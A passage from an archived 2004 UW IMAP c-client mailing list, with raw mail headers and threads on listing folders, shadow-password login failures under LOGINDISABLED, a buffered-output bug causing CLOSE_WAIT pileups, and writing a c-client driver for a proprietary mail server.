(8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LM5XuL118088 for ; Wed, 21 Jan 2004 14:05:33 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LM5Wek020443 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 21 Jan 2004 14:05:32 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LM5VTZ003872; Wed, 21 Jan 2004 14:05:31 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0LM5UJ1028339 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 21 Jan 2004 14:05:31 -0800 Message-Id: Date: Wed, 21 Jan 2004 14:03:27 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Huynh Muoi Cc: c-client@u.washington.edu Subject: Re: # of folders In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 21 Jan 2004, Huynh Muoi wrote: > I am wring c-client to determine all the folders and sub-folders when logging > into an account ... > Is there a simple API that I can you to determine this ? Or Can you let me > know any way to > perform this task ? You can do this with mail_list(NIL,NIL,"*"); the names will be returned via mm_list() calls. However, you'll find that you don't really want to do that. Many people have things other than mailboxes in their accounts, and people also tend to have symlinks that make the graph much larger or even loop. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jan 22 11:42:42 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Jan 2004 11:42:42 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0MJgftL012497 for ; Thu, 22 Jan 2004 11:42:42 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0MJgeGV026361 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 22 Jan 2004 11:42:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0MJffrk011220; Thu, 22 Jan 2004 11:41:41 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0MJdsuL057846 for ; Thu, 22 Jan 2004 11:39:54 -0800 Received: from eis-msg-012.jpl.nasa.gov (eis-msg-012.jpl.nasa.gov [137.78.160.40]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0MJdrWQ008027 for ; Thu, 22 Jan 2004 11:39:54 -0800 Received: from jpl.nasa.gov (ibsteve.jpl.nasa.gov [137.78.252.152]) by eis-msg-012.jpl.nasa.gov (8.12.10/8.12.10) with ESMTP id i0MJdrvR029161 for ; Thu, 22 Jan 2004 11:39:53 -0800 (PST) Message-Id: <40102709.15B3D578@jpl.nasa.gov> Date: Thu, 22 Jan 2004 11:39:53 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Stephen E. Canell" To: c-client@u.washington.edu Subject: Solaris, IMAP, /etc/shadow, imap-2002e MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: root@eis-msg-012.jpl.nasa.gov X-Accept-Language: en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Can anyone tell me how to get UW IMAP to use the shadow file for authentication? no changes to Makefile I did "make sol" copied imapd to /usr/sbin inetd.conf entry: imap stream tcp nowait root /usr/sbin/imapd imapd To test, I used telnet 143 Entered: 1 login scanell Response: 1 NO LOGIN failed password and user account are correct and verified through other login mechanisms. -- Stephen E. Canell Technical Lead, UNIX System Admin Institutional Business Systems Jet Propulsion Laboratory 4800 Oak Grove Drive Pasadena, California 91109 Phone: (818) 354-1731 Fax: (818) 393-4541 PGP: scanell pgp.mit.edu 0E9A86C2 PGP: Stephen Canell pgp.mit.edu 389A44F7 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 22 11:56:30 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Jan 2004 11:56:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0MJuUtL013192 for ; Thu, 22 Jan 2004 11:56:30 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0MJuSVN031274 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 22 Jan 2004 11:56:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0MJsYrk011014; Thu, 22 Jan 2004 11:54:34 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0MJrSuL095094 for ; Thu, 22 Jan 2004 11:53:28 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0MJrQqm027852 for ; Thu, 22 Jan 2004 11:53:26 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout6.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0MJrOMO025801; Thu, 22 Jan 2004 11:53:25 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0MJrOtg002220; Thu, 22 Jan 2004 11:53:24 -0800 Message-Id: Date: Thu, 22 Jan 2004 11:53:24 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Stephen E. Canell" Cc: c-client@u.washington.edu Subject: Re: Solaris, IMAP, /etc/shadow, imap-2002e In-Reply-To: <40102709.15B3D578@jpl.nasa.gov> References: <40102709.15B3D578@jpl.nasa.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 22 Jan 2004, Stephen E. Canell wrote: > To test, I used telnet 143 > Entered: 1 login scanell > Response: 1 NO LOGIN failed In the greeting banner message, you probably noticed a LOGINDISABLED. By default, you can't do plaintext password authentication in a channel that is not secured by SSL or TLS. The files BUILD and SSLBUILD contain additional information on this topic. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jan 28 06:16:31 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Jan 2004 06:16:31 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0SEGVhs000547 for ; Wed, 28 Jan 2004 06:16:31 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0SEGTVN016180 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 28 Jan 2004 06:16:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0SEELrk014318; Wed, 28 Jan 2004 06:14:21 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0SECnuL062706 for ; Wed, 28 Jan 2004 06:12:49 -0800 Received: from idmailgate2.unizh.ch (idmailgate2.unizh.ch [130.60.68.106]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0SECk8L009557 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 28 Jan 2004 06:12:48 -0800 Received: from zimail1.unizh.ch (zimail1.unizh.ch [130.60.128.11]) by idmailgate2.unizh.ch (8.12.10/8.12.10/Debian-2) with ESMTP id i0SECin5006858 for ; Wed, 28 Jan 2004 15:12:44 +0100 Received: from zisp0304.unizh.ch (zisp0304.unizh.ch [130.60.7.176]) by zimail1.unizh.ch (8.12.10/8.12.10/smMTA-17) with ESMTP id i0SECiqB004673 for ; Wed, 28 Jan 2004 15:12:44 +0100 (MET) Received: from localhost (tedaldi@localhost) by zisp0304.unizh.ch (AIX5.1/8.11.0/8.11.0) with ESMTP id i0SEChi42600 for ; Wed, 28 Jan 2004 15:12:43 +0100 Message-Id: Date: Wed, 28 Jan 2004 15:12:42 +0100 (MET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Paul.Tedaldi@id.unizh.ch To: c-client@u.washington.edu Subject: Bugreport MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: zisp0304.unizh.ch: tedaldi owned process doing -bs X-X-Sender: tedaldi@zisp0304.unizh.ch X-Virus-Scanned: by amavisd-milter (http://www.amavis.org/) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='NO_REAL_NAME 0.000, X_AUTH_WARNING 0, SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN third attempt. Hi, we experienced severe performance problems with imap-2002e on AIX 5.1 running on a SP2 Node connected with a High Performance Switch (HPFS). The problem showed up during peak hours when within minutes the performance droped to zero (the server no longer responded) and we had up to 700+ imapd processes running (normaly about 150). netstat showed that most of them where in CLOSE_WAIT. Recovery was only possible by stopping inetd to prevent creation of more imap processes and killing those CLOSE_WAIT processes or rebooting the system only to find us in the same spot 30 min later. Doing some traces we where able to establish the events leading to this situation. 1. Client opens session and proceeds to select inbox. 2. select does not return within timeout set by client (1 Min.). 3. Client drops the tcp session and receives ACK. The imapd is still hanging in select. 4. Client opens new tcp session and proceeds to select inbox. Of course the impad can not obtain the lock because it is still held by the previous session. Again the select does not return within timeout set by client. 5. Point 3 and 4 are repeated again and again. 6. Eventually the select from point 1 tries to respond and finds the tcp session gone and closes the socket. Only now are the messages, generated while waiting for the lock, sent along with the FIN. The client responds with reset because it had already dropped that session. 7. The number of sessions such generated is only bounded by the resources available to the server. Looking at the source we found that the messages generated while waiting for the lock are writen in imapd.c:mm_log. But because it is buffered I/O the messages remain in the buffer which is in the case of the HPFS interface rather large. So it does not reach the client until some other output fills the buffer or the socket is closed. The quick and dirty solution was to add a PFLUSH(); statement after CLRF; in both the PARSE and WARN case in mm_log() to make shure out of bound messages reach the client. Maybe there are other places in imapd where it is necessary to make shure the message generated gets on the wire immediatly, after all there is a dialog going on between the client and the server. After applying the change the "waiting for the lock" messages reached the client causing it to reset its timeout and no longer drop its tcp session. In the 4 weeks running with the change applied the system never went into the state described above. We also did not notice any problems introduced by the change. But maybe you know a better solution. Kind regards Stefan Vogel, Paul Tedaldi -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 28 06:26:11 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Jan 2004 06:26:11 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0SEQAhs000954 for ; Wed, 28 Jan 2004 06:26:10 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0SEQ9GV002110 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 28 Jan 2004 06:26:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0SEKG52015848; Wed, 28 Jan 2004 06:20:16 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0SEJHuL010324 for ; Wed, 28 Jan 2004 06:19:17 -0800 Received: from idmailgate2.unizh.ch (idmailgate2.unizh.ch [130.60.68.106]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0SEJEwS016869 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 28 Jan 2004 06:19:15 -0800 Received: from zimail1.unizh.ch (zimail1.unizh.ch [130.60.128.11]) by idmailgate2.unizh.ch (8.12.10/8.12.10/Debian-2) with ESMTP id i0SEJCn5008260 for ; Wed, 28 Jan 2004 15:19:13 +0100 Received: from zisp0304.unizh.ch (zisp0304.unizh.ch [130.60.7.176]) by zimail1.unizh.ch (8.12.10/8.12.10/smMTA-17) with ESMTP id i0SEJCqB011807 for ; Wed, 28 Jan 2004 15:19:12 +0100 (MET) Received: from localhost (tedaldi@localhost) by zisp0304.unizh.ch (AIX5.1/8.11.0/8.11.0) with ESMTP id i0SEJBx39536 for ; Wed, 28 Jan 2004 15:19:11 +0100 Message-Id: Date: Wed, 28 Jan 2004 15:19:10 +0100 (MET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Paul.Tedaldi@id.unizh.ch To: c-client@u.washington.edu Subject: SUPPORT Document outdated MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: zisp0304.unizh.ch: tedaldi owned process doing -bs X-X-Sender: tedaldi@zisp0304.unizh.ch X-Virus-Scanned: by amavisd-milter (http://www.amavis.org/) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='NO_REAL_NAME 0.000, X_AUTH_WARNING 0, SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, you should update the SUPPORT document in imap-2002e to reflect the proper way to subscribe to c-client@u.washington.edu Kind regards Paul -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 28 10:17:47 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Jan 2004 10:17:47 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0SIHlhs004177 for ; Wed, 28 Jan 2004 10:17:47 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0SIHjGV022253 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 28 Jan 2004 10:17:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0SIFSrk014952; Wed, 28 Jan 2004 10:15:28 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0SIEJuL020946 for ; Wed, 28 Jan 2004 10:14:19 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0SIEIqm018865 for ; Wed, 28 Jan 2004 10:14:18 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0SIEDEn015666; Wed, 28 Jan 2004 10:14:13 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0SIEDvA031954; Wed, 28 Jan 2004 10:14:13 -0800 Message-Id: Date: Wed, 28 Jan 2004 10:14:13 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Paul.Tedaldi@id.unizh.ch Cc: c-client@u.washington.edu Subject: Re: Bugreport In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have (somewhat reluctantly) decided to accept your suggestion to add a PFLUSH to the mm_log() and mm_notify() event handlers. Although doing these PFLUSHes is a bit anti-social, it should not be significant in most cases. However, this is at best a shim for the underlying problems: 1) For some reason, your system is not giving a HUP interrupt to those IMAP sessions. The CLOSE_WAIT indicate that your system knows that the client has disconnected, but for some reason the IMAP server was never told. 2) Your client should have not a 1 minute timeout waiting for SELECT. IMAP is not HTTP. Timing out and trying again isn't a helpful procedure in a stream-oriented stateful protocol. The only "timeout" for IMAP should be the user deciding "the system is too loaded, I'll give up and try again later when it isn't so loaded." -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Feb 1 10:20:23 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 1 Feb 2004 10:20:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11IKNhs009461 for ; Sun, 1 Feb 2004 10:20:23 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11IKMGV024229 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 10:20:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i11IJL52014256; Sun, 1 Feb 2004 10:19:21 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11IHhuL049968 for ; Sun, 1 Feb 2004 10:17:43 -0800 Received: from web61005.mail.yahoo.com (web61005.mail.yahoo.com [216.155.196.94]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i11IHV8K001133 for ; Sun, 1 Feb 2004 10:17:32 -0800 Received: from [212.199.103.19] by web61005.mail.yahoo.com via HTTP; Sun, 01 Feb 2004 10:17:30 PST Message-Id: <20040201181730.8992.qmail@web61005.mail.yahoo.com> Date: Sun, 1 Feb 2004 10:17:30 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nick Birren To: c-client@u.washington.edu Subject: Newbie question - Integration with other email systems MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-409438048-1075659450=:8643" X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SUPERLONG_LINE 0.003' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-409438048-1075659450=:8643 Content-Type: text/plain; charset=us-ascii Hi I'm trying to figure out what's the best way to connect to a proprietary-protocol email server and expose IMAP functionality. I do not wish to import all emails into a flat-file and feed it into the IMAP server, but rather integrate to it by implementing some pre-defined interface that the IMAP server will use (and will, on the other end, act as a client for the proprietary server). Can it be done with WU IMAP? Any other ways that you think I should consider? Any pointers to reading material / code sections to look at will be much appreciated. -N --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free web site building tool. Try it! --0-409438048-1075659450=:8643 Content-Type: text/html; charset=us-ascii
    Hi
     
    I'm trying to figure out what's the best way to connect to a proprietary-protocol email server and expose IMAP functionality.
    I do not wish to import all emails into a flat-file and feed it into the IMAP server, but rather integrate to it by implementing some pre-defined interface that the IMAP server will use (and will, on the other end, act as a client for the proprietary server).
     
    Can it be done with WU IMAP? Any other ways that you think I should consider?
     
    Any pointers to reading material / code sections to look at will be much appreciated.
     
    -N

    Do you Yahoo!?
    Yahoo! SiteBuilder - Free web site building tool. Try it! --0-409438048-1075659450=:8643-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Feb 1 10:29:23 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 1 Feb 2004 10:29:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11ITNhs010627 for ; Sun, 1 Feb 2004 10:29:23 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11ITGGV024690 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 10:29:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i11ISLrk005072; Sun, 1 Feb 2004 10:28:21 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11IRWuL038214 for ; Sun, 1 Feb 2004 10:27:32 -0800 Received: from smtp810.mail.sc5.yahoo.com (smtp810.mail.sc5.yahoo.com [66.163.170.80]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i11IQc8K002975 for ; Sun, 1 Feb 2004 10:26:38 -0800 Received: from unknown (HELO houston.rr.com) (dangerousdt@sbcglobal.net@65.69.7.23 with plain) by smtp810.mail.sc5.yahoo.com with SMTP; 1 Feb 2004 18:26:38 -0000 Message-Id: <401D44E5.1050805@houston.rr.com> Date: Sun, 01 Feb 2004 12:26:45 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: pheonix1t To: Nick Birren Cc: c-client@u.washington.edu Subject: Re: Newbie question - Integration with other email systems In-Reply-To: <20040201181730.8992.qmail@web61005.mail.yahoo.com> References: <20040201181730.8992.qmail@web61005.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='X_ACCEPT_LANG 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Nick Birren wrote: > Hi > > I'm trying to figure out what's the best way to connect to a > proprietary-protocol email server and expose IMAP functionality. > I do not wish to import all emails into a flat-file and feed it into > the IMAP server, but rather integrate to it by implementing some > pre-defined interface that the IMAP server will use (and will, on the > other end, act as a client for the proprietary server). > > Can it be done with WU IMAP? Any other ways that you think I should > consider? > > Any pointers to reading material / code sections to look at will be > much appreciated. > > -N > ------------------------------------------------------------------------ > Do you Yahoo!? > Yahoo! SiteBuilder - Free web site building tool. *Try it!* > do you mean something like www.bynari.com ? From pinedev@shivax2.cac.washington.edu Sun Feb 1 11:01:06 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 1 Feb 2004 11:01:06 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11J16hs015425 for ; Sun, 1 Feb 2004 11:01:06 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11J14GV026675 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 11:01:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i11IwdVb016096; Sun, 1 Feb 2004 10:58:39 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11IvouL065682 for ; Sun, 1 Feb 2004 10:57:50 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11IvoJI025740 for ; Sun, 1 Feb 2004 10:57:50 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11IvnX9004410; Sun, 1 Feb 2004 10:57:49 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i11Ivn5N031154; Sun, 1 Feb 2004 10:57:49 -0800 Message-Id: Date: Sun, 1 Feb 2004 10:57:49 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nick Birren Cc: c-client@u.washington.edu Subject: Re: Newbie question - Integration with other email systems In-Reply-To: <20040201181730.8992.qmail@web61005.mail.yahoo.com> References: <20040201181730.8992.qmail@web61005.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 1 Feb 2004, Nick Birren wrote: > I'm trying to figure out what's the best way to connect to a > proprietary-protocol email server and expose IMAP functionality. I do > not wish to import all emails into a flat-file and feed it into the IMAP > server, but rather integrate to it by implementing some pre-defined > interface that the IMAP server will use (and will, on the other end, act > as a client for the proprietary server). This certainly can be done, and relatively easily in UW (not "WU") IMAP. What you need to do is write a c-client driver that is a client for your proprietary-protocol email server. That way, imapd would be a client of your proprietary-protocol email server; just as imapd can be a client of a POP3, NNTP, or another IMAP server today. The tricky thing is deciding how to pass authentication credentials from the end user to your proprietary-protocol email server. There's code now to pass the same userid and password as was used to log in to the IMAP server, but perhaps you might want to do something better than that. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From 